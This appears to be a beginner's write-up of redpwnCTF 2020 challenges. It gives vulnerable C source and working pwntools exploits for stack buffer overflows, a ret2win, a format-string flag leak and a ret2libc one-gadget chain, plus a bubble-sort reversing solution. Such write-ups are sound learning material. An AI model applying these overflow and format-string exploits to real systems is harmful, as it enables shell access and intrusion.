The design of that site was pretty cool.
I got 235th place in redpwn ctf as a team name, New beginner
-
PWN
- coffer-overflow-0
- coffer-overflow-1
-
coffer-overflow-2
-
secret-flag
-
the-library
-
REV
- bubbly
- SMArT-solver
PWNABLE
coffer-overflow-0
#include <stdio.h>
#include <string.h>
int main(void)
{
long code = 0;
char name[16];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(name);
if(code != 0) {
system("/bin/sh");
}
}
It take input by gets, so BOF(buffer overflow) occurs.
the value of code is 0.
so, just input more than location of variable code
Name : [rbp-0x20]
Code : [rbp-0x8]
distance : 0x20-0x8 = 0x18
I got it. I have to input more than 0x18
from pwn import *
r=remote("2020.redpwnc.tf",31199)
#r=process("./coffer-overflow-0")
pay=""
pay+='x'*0x20
r.sendline(pay)
r.interactive()
coffer-overflow-1
#include <stdio.h>
#include <string.h>
int main(void)
{
long code = 0;
char name[16];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(name);
if(code == 0xcafebabe) {
system("/bin/sh");
}
}
Likewise, BOF occurs, and code must be 0xcafebabe
name : [rbp-0x20]
code : [rbp-0x8]
distance : 0x18
code : name+0x18
so we can change code after sending 0x18 dummy byte
if we input 1234, it will be 0x34333231.
because it uses little-endian.
so input \xbe\xba\xfe\xca
from pwn import *
r=remote("2020.redpwnc.tf",31255)
#r=process("./coffer-overflow-1")
pay=""
pay+='x'*(0x20-0x8)
pay+=p32(0xcafebabe)
r.sendline(pay)
r.interactive()
in pwntools, it has useful function, p32()
it packs int to little-endian strings
coffer-overflow-2
int main(void)
{
char name[16];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Welcome to coffer overflow, where our coffers are overfilling with bytes ;)");
puts("What do you want to fill your coffer with?");
gets(name);
}
void binFunction() {
system("/bin/sh");
}
we can overflow and overwrite return-address to binFunction()
name is located in [RBP-0x10]
so input DUMMY 0x10 byte and overwrite RBP (8byte)
and overwrite RET-address to binFunction()
from pwn import *
r=remote("2020.redpwnc.tf",31908)
b=ELF("./coffer-overflow-2")
pay=""
pay+='x'*0x18
pay+=p64(b.symbols['binFunction'])
r.sendline(pay)
r.interactive()
secret-flag
undefined8 FUN_0010091a(void)
{
int __fd;
void *__buf;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__buf = malloc(0x100);
__fd = open("flag.txt",0);
read(__fd,__buf,0x100);
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("I have a secret flag, which you\'ll never get!");
puts("What is your name, young adventurer?");
fgets(local_28,0x14,stdin);
printf("Hello there: ");
printf(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
flag file is already read and it is on the stack.
they get input and print what i input without format
it is connected to FSB (format string bug)
so i can leak stack
from pwn import *
from binascii import *
b=ELF("./secret-flag")
leak=''
r=remote("2020.redpwnc.tf",31826)
#r=process("./secret-flag")
pay="%7$s"
r.recv()
r.sendline(pay)
r.interactive()
after many tries, I found flag is in the 7th place,
and use %7$s to leak flag.
(%s - char *, it points to address of the flag and print the value in that address)
the-library
library and .c file are given.
there is the only NX
but I use one-gadget in the library. so it doesn't problem
#include <stdio.h>
#include <string.h>
int main(void)
{
char name[16];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("Welcome to the library... What's your name?");
read(0, name, 0x100);
puts("Hello there: ");
puts(name);
}
the size of name is 16 but it gets input 0x100 byte (256)
so I can leak the address of .got and I can get the library-base address.
( architecture is 64bits )
[ 1 ] First, return to pop rdi ; ret gadget and move rdi to got address of puts
[ 2 ] Second, return to puts and puts the address of puts in the library
[ 3 ] Third, get the address of oneshot-gadget in the library, and return to the main function again
[ 4 ] fourth, return to Oneshot-gadget in the library
from pwn import *
#r=process("./the-library")
r=remote("2020.redpwnc.tf",31350)
libc=ELF("./libc.so.6")
b=ELF("./the-library")
context.log_level='debug'
prdi=0x400733
oneshot=0x10a38c #0x4f2c5 0x10a38c
pay=""
pay+='x'*0x18
pay+=p64(prdi)
pay+=p64(b.got['puts'])
pay+=p64(b.plt['puts'])
pay+=p64(b.symbols['main'])
r.sendline(pay)
t=r.recvuntil("\x7f")[::-1]
t=t[:6]
t=t[::-1]
libcbase=u64(t.ljust(8,'\x00'))-libc.symbols['puts']
log.info(hex(libcbase))
oneshot+=libcbase
log.info(hex(oneshot))
pay2=""
pay2+='x'*0x18
pay2+=p64(oneshot)
r.sendline(pay2)
r.interactive()
REVERSING
bubbly
int main(void)
{
uint32_t i;
int unused;
_Bool pass;
setbuf(stdout,(char *)0x0);
setbuf(stdin,(char *)0x0);
setbuf(stderr,(char *)0x0);
puts("I hate my data structures class! Why can\'t I just sort by hand?");
pass = false;
while( true ) {
__isoc99_scanf(&DAT_00102058);
if (8 < i) break;
nums[i] = nums[i] ^ nums[i + 1];
nums[i + 1] = nums[i + 1] ^ nums[i];
nums[i] = nums[i] ^ nums[i + 1];
pass = check();
}
if (pass == false) {
puts("Try again!");
}
else {
puts("Well done!");
print_flag();
}
return 0;
}
nums[9]={0x1,0xa,0x3,0x2,0x5,0x9,0x8,0x7,0x4,0x6}
it is self-bubble-sort. nums is already given, so just connect to nc server and sort nums
from pwn import *
from time import *
r=remote("2020.redpwnc.tf",31039)
context.log_level="debug"
sleep(10)
# 0 1 2 3 4 5 6 7 8 9
# 1 a 3 2 5 9 8 7 4 6 -> 1
# 1 3 a 2 5 9 8 7 4 6 -> 2
# 1 3 2 a 5 9 8 7 4 6 -> 1
# 1 2 3 a 5 9 8 7 4 6 -> 3
# 1 2 3 5 a 9 8 7 4 6 -> 4
# 1 2 3 5 9 a 8 7 4 6 -> 5
# 1 2 3 5 9 8 a 7 4 6 -> 6
# 1 2 3 5 9 8 7 a 4 6 -> 7
# 1 2 3 5 9 8 7 4 a 6 -> 5
# 1 2 3 5 9 7 8 4 a 6 -> 6
# 1 2 3 5 9 7 4 8 a 6 -> 5
# 1 2 3 5 9 4 7 8 a 6 -> 4
# 1 2 3 5 4 9 7 8 a 6 -> 3
# 1 2 3 4 5 9 7 8 a 6 -> 8
# 1 2 3 4 5 9 7 8 6 a -> 7
# 1 2 3 4 5 9 7 6 8 a -> 6
# 1 2 3 4 5 9 6 7 8 a -> 5
# 1 2 3 4 5 6 9 7 8 a -> 6
# 1 2 3 4 5 6 7 9 8 a -> 7
# 1 2 3 4 5 6 7 8 9 a done (9)
#pay load is 1 2 1 3 4 5 6 7 5 6 5 4 3 8 7 6 5 6 7
#r.sendline("1 2 1 3 4 5 6 7 5 6 5 4 3 8 7 6 5 6 7 9")
bubble=[1,0xa,3, 2, 5, 9, 8, 7, 4, 6]
for i in range(len(bubble)):
for j in range(len(bubble)-1):
if bubble[j]>bubble[j+1]:
r.sendline(j)
t=bubble[j]
bubble[j]=bubble[j+1]
bubble[j+1]=t
print bubble
r.sendline(9) # if i>8, break
r.interactive()
i wrote simple bubble sort script
thank you for reading. my English is soooooo poor.
so I'm gonna read a lot of English-Write up and post with a better English ability